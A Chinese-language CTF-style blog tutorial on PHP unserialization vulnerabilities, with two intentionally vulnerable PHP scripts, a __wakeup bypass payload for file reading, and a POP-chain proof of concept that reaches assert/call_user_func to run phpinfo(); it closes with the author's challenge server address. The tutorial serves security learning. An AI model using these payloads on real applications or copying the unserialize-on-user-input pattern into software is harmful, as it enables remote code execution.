php反序列化簡敘
0x01 php簡單的反序列化
這題是在網上看到的,原題連接不太了解,但是源碼題目給了出來,稍微下文件名和排版在本地測試
<?php class SoFun{ protected $file=‘ser.php‘; function __destruct(){ if(!empty($this->file)) { if(strchr($this-> file,"\\")===false && strchr($this->file, ‘/‘)===false){show_source(dirname (__FILE__).‘/‘.$this ->file); } } else{ die(‘Wrong filename.‘); } } function __wakeup(){ $this-> file=‘ser.php‘; } function __toString(){ return ‘‘ ; } } if(!isset($_GET[‘file‘])){show_source(‘ser.php‘); } else{ $file=base64_decode( $_GET[‘file‘]); echo unserialize($file ); } ?>
題目的相關魔術方法調用時機
__destruct()類似於c中的析構函數,在對象被銷毀時調用
__toString()在這裏沒啥用
__wakeup()在進行反序列化的時候調用
__destruct()中讀取了文件,最終用它讀取flag, __wakeup()把讀取的文件的對應變量變成當前文件
__wakeup()在__destruct()前面調用
那麽目的是繞過__wakeup()進行__destruct()操作
對應wakeup(),存在以下問題,當序列化的字符串中描述的類的成員個數和 {} 內的成員個數不同的時候不會被調用
首先構造payload
<?php class SoFun{ protected $file=‘hello.txt‘; public $a = "a"; } $add = new SoFun; echo base64_encode(serialize($add));
運行生成base64
先將它base64解碼,然後刪除{}中a的對應序列(註意:因為protect和private存在不可見字符,所有用base64,或url編碼輸出)
最終再base64編個碼,包含進來即可,我hello.txt文件的內容即之前做題留在上面的文件(所有內容不重要,重要的是漏洞利用>_<)
0x02 PHP反序列化的進一步利用
php反序列化的知識點i春秋上的一篇文件寫的非常詳細
https://bbs.ichunqiu.com/thread-39169-1-1.html
那麽結合最後的typecho的反序列漏洞,模仿著寫了一個簡易的代碼
<?php class C1{ function __construct($key, $word){ $sijidou = $key . $word; } } class C2{ private $a2; function __toString(){ echo $this->a2->ying; return "hello"; } } class C3{ private $fun; private $parm; function __get($key){ $this->run(); return null; } function run(){ call_user_func($this->fun, $this->parm); } } if(isset($_GET[‘ser‘])){ $s = $_GET[‘ser‘]; $arr = unserialize($s); $class1 = new C1($arr[‘siji‘],$arr[‘dou‘]); } else{ highlight_file("demo.php"); } ?>
這裏是需要構造pop鏈,來達到最終執行run()方法中的call_user_func()來達到代碼執行
構造思路是入口為ser的參數,該參數是數組
ser數組的 "siji" 和 "dou" 兩個鍵值対會被C1的中的__construct調用
該函數把參數當做字符串進行字符串使用,於是可能會調用到C2的__toString魔術方法
__toString方法裏面調用了私有成員的方法,因此又可以利用C3的__get魔術方法
而 __get魔術方法會調用到run(),從而達到代碼執行
附上我寫的poc
<?php class C1{ function __construct($key, $word){ $sijidou = $key . $word; } } class C2{ private $a2; function __toString(){ $this->a2->ying; return "hello"; } function add(){ $this->a2 = new C3(); } } class C3{ private $fun = "assert"; private $parm = "phpinfo()"; function __get($key){ $this->run(); } function run(){ eval($this->a3); } } $class2 = new C2(); $class3 = new C3(); $class2->add(); $exp = array(‘siji‘ => $class2, ‘dou‘ => ‘dou‘); echo urlencode(serialize($exp)); ?>
利用成功,成功執行phpinfo
這裏自己因為一些原因把該題目掛到了自己的服務器上,大家可以試著找找其中的flag(註:請執行看看phpinfo裏面的禁用的函數)
http://134.175.147.161:10007/
php反序列化簡敘